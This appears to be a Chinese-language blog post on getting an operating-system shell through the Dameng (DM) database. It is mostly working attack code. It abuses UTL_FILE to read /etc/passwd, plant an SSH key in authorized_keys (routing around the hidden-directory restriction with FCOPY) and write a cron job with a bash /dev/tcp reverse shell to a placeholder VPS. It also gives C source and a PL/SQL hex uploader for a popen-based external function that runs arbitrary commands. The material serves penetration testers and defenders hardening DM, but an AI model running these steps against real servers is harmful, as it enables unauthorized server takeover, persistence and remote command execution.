通过达梦数据库获取系统shell的一些方式

​ DM 在新建库第一次启动服务器时会自动创建所有系统包。

​ 其中利用UTL_FILE系统包可以达到获取系统shell的目的。

写入ssh密钥接管服务器

基本条件

  • 服务器开启ssh服务并开放了对应端口,允许密钥登录

  • 预先存在~/.ssh/authorized_keys文件

  • 数据库用户至少具有

    • 创建目录对象的权限(或存在可利用的目录对象)

    • 目录对象的读写权限

      1
      2
      GRANT READ ON DIRECTORY <dir_name> TO <user_name>;
      GRANT WRITE ON DIRECTORY <dir_name> TO <user_name>;
  • 创建过FILE系统包(或有权限创建FILE系统包)

1
SP_CREATE_SYSTEM_PACKAGES (1,'UTL_FILE');

示例

​ 首先创建目录对象ETC(指向/etc):

1
CREATE DIRECTORY ETC AS '/etc';

image-20251025212335606

​ 创建FILE系统包(如果没创建过)

1
SP_CREATE_SYSTEM_PACKAGES (1,'UTL_FILE');

​ 读取/etc/passwd文件

1
2
3
4
5
6
7
8
9
10
11
DECLARE
V1 VARCHAR2(8186);
F1 UTL_FILE.FILE_TYPE;
BEGIN

F1 :=UTL_FILE.FOPEN('ETC','passwd','R',256);
UTL_FILE.GET_RAW(F1,V1,32767);
print V1;
UTL_FILE.FCLOSE(F1);

END;

image-20251027102813273

​ 可以得知有哪些用户

​ 在对应目录写入ssh密钥,首先新建指向/home/dmdba/.ssh的目录对象

1
CREATE DIRECTORY SSH AS '/home/dmdba/.ssh';

​ 生成一对ssh密钥:

1
ssh-keygen -t rsa -b 4096

​ 写入ssh密钥:

1
2
3
4
5
6
7
8
9
DECLARE
V1 VARCHAR2(8186);
F1 UTL_FILE.FILE_TYPE;
BEGIN

F1 :=UTL_FILE.FOPEN('SSH','authorized_keys','W',32767);
UTL_FILE.PUT_LINE(F1, 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnrUs/FpLJmgeIbsMUbOoT/4JSCYltoZEbomGkPjL11XPpSRILvhBJSjfMAXnaQXqlaSISicHoTbhHmL2H8Hoh/SfFh0zzf6yiOBbdybPnPCs3CBVV3iWx5y8QzC62G0lbw6gfD73KN3EDqbjO7g+2eRiPmqaQfGqxtm9RsFJIZfgyvLLvMgudZ01JW4VckOsnJuXkXBE68CRiRM6NSIEqLGETZ919xI6TjEccgq+0t0bqlj5m3oy40N6d+GpaNt5xV/NP7aXGSEYfnIQw6YGhXPd84zMFrSLD0KDtcrLIY1Gm9YiJDLum+ApB5TakkGJopMEiIxf5F4tEJlnfTcpvIsj0G1QOU/Sfym3nSYTfoQ78cCTjoIEW24EFsVDQeIBvB1tcy8xO6I3vyHGD9gKZXSE8XydYPR9he1wq/uLYgCd1d2OF38qiObfdQTnYoX9HYHw+Ct6DZ8TUxhKMklQo2sAM2/59SaqYpdM7uZH14W+RNTvi/lxJfmD4iZoMulHIqYy9KXk4+x1KV5tRpcyg4UpXemD4ZbYIxYgVfpTb9YW14HCYSPIIIkC/jfuDMqbZQ88SQTld36On/Z82e5lKPZ4A8TnP1yGefWUzPRiudxf3iFLEGa0F4qEhr5ES9auWmS5lIX05Vy7Zna37pnAronPIYKKk0QGweabxNnA2gw===');
UTL_FILE.FCLOSE(F1);
END;

​ 正常情况下,达梦数据库不允许对隐藏目录(即以点开头的文件夹)下文件进行读写操作(即使权限足够),例如:

1
CREATE DIRECTORY SSH AS '/home/dmdba/.ssh';

​ 尝试写入/home/dmdba/.ssh/test文件:

1
2
3
4
5
6
7
8
9
DECLARE
V1 VARCHAR2(8186);
F1 UTL_FILE.FILE_TYPE;
BEGIN

F1 :=UTL_FILE.FOPEN('SSH','test','W',32767);
UTL_FILE.PUT_LINE(F1, 'hahahah');
UTL_FILE.FCLOSE(F1);
END;

image-20251027113702678

​ 但是可以利用FCOPY,借助可读写目录间接读写隐藏目录下的文件,以下借助/home/dmdba进行中转:

1
CREATE DIRECTORY HOME AS '/home/dmdba';

​ 所以正确写入方式应该是:

1
2
3
4
5
6
7
8
9
10
11
DECLARE
V1 VARCHAR2(8186);
F1 UTL_FILE.FILE_TYPE;
BEGIN

F1 :=UTL_FILE.FOPEN('HOME','authorized_keys','W',32767);
UTL_FILE.PUT_LINE(F1, 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnrUs/FpLJmgeIbsMUbOoT/4JSCYltoZEbomGkPjL11XPpSRILvhBJSjfMAXnaQXqlaSISicHoTbhHmL2H8Hoh/SfFh0zzf6yiOBbdybPnPCs3CBVV3iWx5y8QzC62G0lbw6gfD73KN3EDqbjO7g+2eRiPmqaQfGqxtm9RsFJIZfgyvLLvMgudZ01JW4VckOsnJuXkXBE68CRiRM6NSIEqLGETZ919xI6TjEccgq+0t0bqlj5m3oy40N6d+GpaNt5xV/NP7aXGSEYfnIQw6YGhXPd84zMFrSLD0KDtcrLIY1Gm9YiJDLum+ApB5TakkGJopMEiIxf5F4tEJlnfTcpvIsj0G1QOU/Sfym3nSYTfoQ78cCTjoIEW24EFsVDQeIBvB1tcy8xO6I3vyHGD9gKZXSE8XydYPR9he1wq/uLYgCd1d2OF38qiObfdQTnYoX9HYHw+Ct6DZ8TUxhKMklQo2sAM2/59SaqYpdM7uZH14W+RNTvi/lxJfmD4iZoMulHIqYy9KXk4+x1KV5tRpcyg4UpXemD4ZbYIxYgVfpTb9YW14HCYSPIIIkC/jfuDMqbZQ88SQTld36On/Z82e5lKPZ4A8TnP1yGefWUzPRiudxf3iFLEGa0F4qEhr5ES9auWmS5lIX05Vy7Zna37pnAronPIYKKk0QGweabxNnA2gw===');
UTL_FILE.FCLOSE(F1);
END;

UTL_FILE.FCOPY('HOME','authorized_keys','SSH','authorized_keys');

计划任务反弹shell

基本条件

  • 数据库运行用户为root(或对/var/spool/cron目录有写入权限)

  • CentOS系列系统

  • 服务器出网

  • 数据库用户至少具有

    • 创建目录对象的权限(或存在可利用的目录对象)

    • 目录对象的读写权限

      1
      2
      GRANT READ ON DIRECTORY <dir_name> TO <user_name>;
      GRANT WRITE ON DIRECTORY <dir_name> TO <user_name>;
  • 创建过FILE系统包(或有权限创建FILE系统包)

1
SP_CREATE_SYSTEM_PACKAGES (1,'UTL_FILE');

示例

​ 首先创建目录对象ETC(指向/etc):

1
CREATE DIRECTORY ETC AS '/etc';

image-20251025212335606

​ 创建FILE系统包(如果没创建过)

1
SP_CREATE_SYSTEM_PACKAGES (1,'UTL_FILE');

​ 读取/etc/passwd文件

1
2
3
4
5
6
7
8
9
10
11
DECLARE
V1 VARCHAR2(8186);
F1 UTL_FILE.FILE_TYPE;
BEGIN

F1 :=UTL_FILE.FOPEN('ETC','passwd','R',256);
UTL_FILE.GET_RAW(F1,V1,32767);
print V1;
UTL_FILE.FCLOSE(F1);

END;

image-20251027102813273

​ 可以得知有哪些用户

​ 再创建目录对象CRON(指向/var/spool/cron

1
CREATE DIRECTORY CRON AS '/var/spool/cron';

​ 写入计划任务:

1
2
3
4
5
6
7
8
9
DECLARE
V1 VARCHAR2(8186);
F1 UTL_FILE.FILE_TYPE;
BEGIN

F1 :=UTL_FILE.FOPEN('CRON','centos','W',32767);
UTL_FILE.PUT_LINE(F1, '* * * * * /bin/bash -c "bash -i >& /dev/tcp/vps_ip/vps_port 0>&1"');
UTL_FILE.FCLOSE(F1);
END;

​ vps开启监听:

1
nc -lvnp 2333

​ 获取到反弹的shell执行命令

外部函数RCE

基本条件

  • 数据库用户至少具有

    • 创建目录对象的权限(或存在可利用的目录对象)

    • 目录对象的读写权限

      1
      2
      GRANT READ ON DIRECTORY <dir_name> TO <user_name>;
      GRANT WRITE ON DIRECTORY <dir_name> TO <user_name>;
    • 创建外部函数的权限

  • 创建过FILE系统包(或有权限创建FILE系统包)

    1
    SP_CREATE_SYSTEM_PACKAGES (1,'UTL_FILE');
  • 开启系统允许创建外部函数的开关

    修改DM.INI参数ENABLE_EXTERNAL_CALL=1

    1
    SF_SET_SYSTEM_PARA_VALUE('ENABLE_EXTERNAL_CALL',1,0,2);

    需要重启才能生效。

示例

​ 准备一个执行shell命令的c代码,参考[外部函数 | 达梦技术文档](https://eco.dameng.com/document/dm/zh-cn/pm/external-function.html#10.1.2 C 外部函数创建)编写

de_pub.h位于安装文件x:...\dmdbms\include中,适用于linux系统的一个c代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include "de_pub.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define MAX_OUTPUT_SIZE 65536

de_data EXEC_COMMAND(de_args *args)
{
de_data result;
char *cmd = NULL;
char *output = NULL;
FILE *fp = NULL;

result.null_flag = 1;

if (de_is_null(args, 0))
{
return de_return_null();
}

cmd = de_get_str(args, 0);
if (cmd == NULL || strlen(cmd) == 0)
{
de_str_free(cmd);
return de_return_null();
}

output = (char *)malloc(MAX_OUTPUT_SIZE);
if (output == NULL)
{
de_str_free(cmd);
return de_return_null();
}
output[0] = '\0';

fp = popen(cmd, "r");
if (fp == NULL)
{
free(output);
de_str_free(cmd);
return de_return_str("");
}

char buffer[4096];
size_t total_len = 0;
while (fgets(buffer, sizeof(buffer), fp) != NULL)
{
size_t line_len = strlen(buffer);
if (total_len + line_len >= MAX_OUTPUT_SIZE - 1)
{
break;
}
strcpy(output + total_len, buffer);
total_len += line_len;
}

pclose(fp);
de_str_free(cmd);

size_t out_len = strlen(output);
while (out_len > 0 && (output[out_len - 1] == '\n' || output[out_len - 1] == '\r'))
{
output[--out_len] = '\0';
}

result = de_return_str_with_len(output, out_len);
free(output);
return result;
}

​ 编译:

1
gcc -o ./EXEC_COMMAND.so -fPIC -shared EXEC_COMMAND.c

​ 创建一个临时目录对象

1
CREATE DIRECTORY TMP AS '/tmp';

​ 上传将EXEC_COMMAND.so转16进制上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
DECLARE
-- 输入:大 Hex 字符串(可以是 CLOB)
l_hex_clob CLOB := '48656C6C6F...'; -- 替换为你的实际 Hex 数据,或从表中读取

-- 文件句柄
l_file UTL_FILE.FILE_TYPE;

-- 分块处理变量
l_pos INTEGER := 1;
l_chunk_size INTEGER := 32766; -- 每次读取字符数(必须是偶数)
l_hex_chunk VARCHAR2(32767); -- 临时存储 Hex 子串
l_raw_chunk RAW(32767); -- 转换后的二进制块

-- 总长度
l_total_len INTEGER;

BEGIN
-- 1. 获取总长度
l_total_len := DBMS_LOB.GETLENGTH(l_hex_clob);

-- 2. 校验长度是否为偶数
IF MOD(l_total_len, 2) != 0 THEN
RAISE_APPLICATION_ERROR(-20001, 'Hex 字符串长度必须为偶数,当前长度: ' || l_total_len);
END IF;

-- 3. 以二进制模式打开文件
l_file := UTL_FILE.FOPEN('TMP', 'EXEC_COMMAND.so', 'WB', 32767);
-- 注意:'MY_DIR' 是目录对象名,需提前创建并授权

-- 4. 循环分块处理
WHILE l_pos <= l_total_len LOOP
-- 计算本次读取长度(确保是偶数)
l_chunk_size := LEAST(32766, l_total_len - l_pos + 1);
l_chunk_size := l_chunk_size - MOD(l_chunk_size, 2); -- 强制为偶数

-- 从 CLOB 中读取一段 Hex 字符
l_hex_chunk := DBMS_LOB.SUBSTR(l_hex_clob, l_chunk_size, l_pos);

-- 清理非法字符(可选:移除非 0-9A-Fa-f 字符)
-- l_hex_chunk := REGEXP_REPLACE(l_hex_chunk, '[^0-9A-Fa-f]', '');

-- 检查是否为空
IF LENGTH(l_hex_chunk) = 0 THEN
l_pos := l_pos + l_chunk_size;
CONTINUE;
END IF;

-- 转换为 RAW
l_raw_chunk := HEXTORAW(l_hex_chunk);

-- 写入文件
UTL_FILE.PUT_RAW(l_file, l_raw_chunk, TRUE); -- TRUE = 自动刷新

-- 更新位置
l_pos := l_pos + l_chunk_size;

-- 可选:输出进度(用于调试大文件)
-- DBMS_OUTPUT.PUT_LINE('已写入: ' || (l_pos - 1) || ' / ' || l_total_len);
END LOOP;

-- 5. 关闭文件
UTL_FILE.FCLOSE(l_file);

DBMS_OUTPUT.PUT_LINE('写入文件成功');

EXCEPTION
WHEN UTL_FILE.WRITE_ERROR THEN
DBMS_OUTPUT.PUT_LINE('写入文件失败:权限不足、磁盘满或路径错误');
IF UTL_FILE.IS_OPEN(l_file) THEN
UTL_FILE.FCLOSE(l_file);
END IF;
WHEN VALUE_ERROR THEN
DBMS_OUTPUT.PUT_LINE('HEXTORAW 错误:包含非法十六进制字符,位置: ' || l_pos);
IF UTL_FILE.IS_OPEN(l_file) THEN
UTL_FILE.FCLOSE(l_file);
END IF;
WHEN STORAGE_ERROR THEN
DBMS_OUTPUT.PUT_LINE('内存不足:字符串过大,建议使用 CLOB 分段读取');
IF UTL_FILE.IS_OPEN(l_file) THEN
UTL_FILE.FCLOSE(l_file);
END IF;
WHEN OTHERS THEN
DBMS_OUTPUT.PUT_LINE('未知错误:' || SQLERRM);
IF UTL_FILE.IS_OPEN(l_file) THEN
UTL_FILE.FCLOSE(l_file);
END IF;
END;
/

​ 创建外部函数:

1
2
3
CREATE OR REPLACE FUNCTION EXEC_COMMAND(CMD VARCHAR)
RETURN VARCHAR
EXTERNAL '/tmp/EXEC_COMMAND.so' "EXEC_COMMAND" USING C;

​ 命令执行:

1
SELECT EXEC_COMMAND('whoami');

image-20251025225743029